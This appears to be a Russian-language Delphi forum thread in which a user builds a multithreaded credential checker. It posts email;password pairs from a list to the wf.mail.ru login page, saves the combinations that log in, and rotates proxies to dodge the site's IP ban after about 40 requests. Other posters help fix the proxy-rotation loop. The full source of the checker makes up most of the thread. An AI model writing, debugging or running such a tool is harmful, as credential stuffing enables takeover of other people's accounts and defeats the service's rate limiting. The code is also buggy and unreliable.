Прокси в потоках

[admin22]

С Новым годом)
Суть такова, что после 40 запров сервер выдает бан по IP, поэтому нужно посылать пост запросы через прокси, которые лежат в мемо. Вот что я примерно набросал:

for g:=0 to proxy.count do
idhttp1.proxyparams.proxyserver:=Copy(Proxy[g], 1, Pos(':',Proxy[g])-1); //Копируем адрес
idhttp1.proxyparams.proxyport:=Copy(Proxy[g], Pos(':', Proxy[g])+1, Length(Proxy[g])); //Копируем порт

Но почему то прокси браться не хотят. Надеюсь на вашу помощь. Заранее спасибо.

[Кольша]

for g:=0 to proxy.count-1 do begin
idhttp1.proxyparams.proxyserver:=Copy(Proxy[g], 1, Pos(':',Proxy[g])-1); //Копируем адрес
idhttp1.proxyparams.proxyport:=Copy(Proxy[g], Pos(':', Proxy[g])+1, Length(Proxy[g])); //Копируем порт
end;

[admin22]

procedure TMyThread.Execute;
var
    i,l,good,bad,g:Integer;
    email,pass,s1:string;
  Data,proxy:tStringlist;

begin
  inherited;
  g:=0;
try
idHTTP1:=TIdHTTP.Create(nil);
idhttp1.AllowCookies := true;
idhttp1.HandleRedirects := true;
idhttp1.Request.Host:=('сайт');
idhttp1.Request.UserAgent := 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:16.0) Gecko/20100101 Firefox/16.0';
idhttp1.Request.Referer:='сайт/user' ;
proxy:=TStringList.Create;
proxy.Add(form2.sMemo3.text);

for i:=0 to form2.smemo1.Lines.Count do begin

for g := 0 to proxy.Count -1 do
idhttp1.proxyparams.proxyserver:=Copy(Proxy[g], 1, Pos(':',Proxy[g])-1); //Копируем адрес
idhttp1.proxyparams.proxyport:=strtoint (Copy(Proxy[g], Pos(':', Proxy[g])+1, Length(Proxy[g]))); //Копируем порт

email:='';
pass:='';
...

[snip4ik]

for g := 0 to proxy.Count -1 do begin
idhttp1.proxyparams.proxyserver:=Copy(Proxy[g], 1, Pos(':',Proxy[g])-1); //Копируем адрес
idhttp1.proxyparams.proxyport:=strtoint (Copy(Proxy[g], Pos(':', Proxy[g])+1, Length(Proxy[g]))); //Копируем порт
end;

[Кольша]

snip4ik, а чем ваш код отличается от моего???))

[Базиля]

snip4ik указывает на то, что admin22 забыл о операторных скобках.

[admin22]

Пост запрос почему то не отправляется. Воткнул в мемо несколько прокси и выдает вот такую ошибку:

Код:

unit Unit2;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, jpeg, ExtCtrls, sSkinManager, sPanel, StdCtrls, sGroupBox, sMemo,
  sEdit, sLabel, sCheckBox, sGauge, ComCtrls, sStatusBar, Mask, sMaskEdit,
  sCustomComboEdit, sTooledit, sButton, IdCookieManager, IdComponent,
  IdTCPConnection, IdTCPClient, IdHTTP, IdBaseComponent, IdAntiFreezeBase,
  IdAntiFreeze, acProgressBar, sComboEdit;

type
  TForm2 = class(TForm)
    sSkinManager1: TsSkinManager;
    sMemo1: TsMemo;
    sStatusBar1: TsStatusBar;
    OpenDialog1: TOpenDialog;
    sMemo2: TsMemo;
    sButton1: TsButton;
    sButton2: TsButton;
    sButton4: TsButton;
    IdAntiFreeze1: TIdAntiFreeze;
    IdCookieManager1: TIdCookieManager;
    sGroupBox5: TsGroupBox;
    sLabelFX3: TsLabelFX;
    sLabelFX4: TsLabelFX;
    sButton3: TsButton;
    sLabelFX6: TsLabelFX;
    sLabelFX7: TsLabelFX;
    sLabelFX8: TsLabelFX;
    sLabelFX10: TsLabelFX;
    sLabelFX11: TsLabelFX;
    sLabelFX12: TsLabelFX;
    sGauge1: TsGauge;
    sLabelFX1: TsLabelFX;
    sLabelFX2: TsLabelFX;
    sLabelFX5: TsLabelFX;
    sLabelFX13: TsLabelFX;
    sGroupBox1: TsGroupBox;
    sGroupBox2: TsGroupBox;
    sMemo3: TsMemo;
    sButton5: TsButton;
    IdHTTP1: TIdHTTP;

    procedure sButton4Click(Sender: TObject);

    procedure sButton1Click(Sender: TObject);
    procedure sMemo1Change(Sender: TObject);
    procedure sButton5Click(Sender: TObject);
    procedure sButton2Click(Sender: TObject);

  private
    { Private declarations }
  public
    { Public declarations }
  end;

   //Здесь необходимо описать класс TMyThread:
  TMyThread = class(TThread)
    private
    IdHTTP1: TIdHTTP;
    { Private declarations }
  protected
    procedure Execute; override;
  end;





var
  Form2: TForm2;
  MyThread: TMyThread;
  g,t:integer;

implementation

{$R *.dfm}

procedure TForm2.sButton1Click(Sender: TObject);
var
    i,l,good,bad:Integer;
    email,pass,s1,s2:string;
  Data:tStringlist;

begin
//Вначале нужно создать экземпляр потока:
  MyThread:=TMyThread.Create(true);
//Параметр False запускает поток сразу после создания, True - запуск впоследствии , методом Resume
//Далее можно указать параметры потока, например приоритет:
  MyThread.Priority:=tpNormal;
//Можно указать что после завершения кода поток завершится автоматически:
  MyThread.FreeOnTerminate:=false;
   MyThread.Resume;
   slabelfx13.caption:='Работаем'

end;


procedure TMyThread.Execute;
var
    i,l,good,bad,g:Integer;
    email,pass,s1:string;
  Data,proxy:tStringlist;

begin
  inherited;
  g:=0;
try
idHTTP1:=TIdHTTP.Create(nil);
idhttp1.AllowCookies := true;
idhttp1.HandleRedirects := true;
idhttp1.Request.Host:=('wf.mail.ru');
idhttp1.Request.UserAgent := 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:16.0) Gecko/20100101 Firefox/16.0';
idhttp1.Request.Referer:='http://wf.mail.ru/user' ;
proxy:=TStringList.Create;
proxy.Add(form2.sMemo3.text);

for i:=0 to form2.smemo1.Lines.Count do begin

for g := 0 to proxy.Count -1 do   begin
idhttp1.proxyparams.proxyserver:=Copy(Proxy[g], 1, Pos(':',Proxy[g])-1); //Копируем адрес
idhttp1.proxyparams.proxyport:=strtoint (Copy(Proxy[g], Pos(':', Proxy[g])+1, Length(Proxy[g]))); //Копируем порт
end;
email:='';
pass:='';
email:=trim(copy(form2.smemo1.Lines[i],1,pos(';',form2.smemo1.Lines[i])-1));
pass:=trim(copy(form2.smemo1.Lines[i],pos(';',form2.smemo1.Lines[i])+1,length(form2.smemo1.Lines[i])-pos(';',form2.smemo1.Lines[i])+1));
data:=TStringList.Create;
data.Clear;
data.add('name='+email);
data.add('pass='+pass);
data.add('op=%D0%92%D1%85%D0%BE%D0%B4+%D0%B2+%D1%81%D0%B8%D1%81%D1%82%D0%B5%D0%BC%D1%83');
data.add('form_build_id=form-6d1652dd1259cd84e60af5e57ee4f61f');
data.add('form_id=user_login' );
form2.sGauge1.progress:=i;
form2.sLabelFX2.Caption:= inttostr (i);
s1:=idhttp1.post ('http://wf.mail.ru/user',data);
if pos ('Время участия',s1)>0 then  begin
form2.sLabelFX2.Caption:= inttostr (i);
form2.smemo2.lines.add (form2.smemo1.lines[i]);
good:=good+1; form2.slabelfx10.Caption:= inttostr (good) end
else
bad:=bad+1; form2.slabelfx12.Caption:= inttostr (bad)
end;
finally
inc(g);
s1:='';
data.free;
email:='';
pass:='';
form2.slabelfx13.caption:=' Не работаем'
end;end;end.

[Кольша]

надо прокси вводить с каждой строчки новый..
и еще

proxy.Add(form2.sMemo3.text);
замените на 
proxy:=form2.sMemo3.lines;

//вы пишите такой быдло код что аж плакать хочется...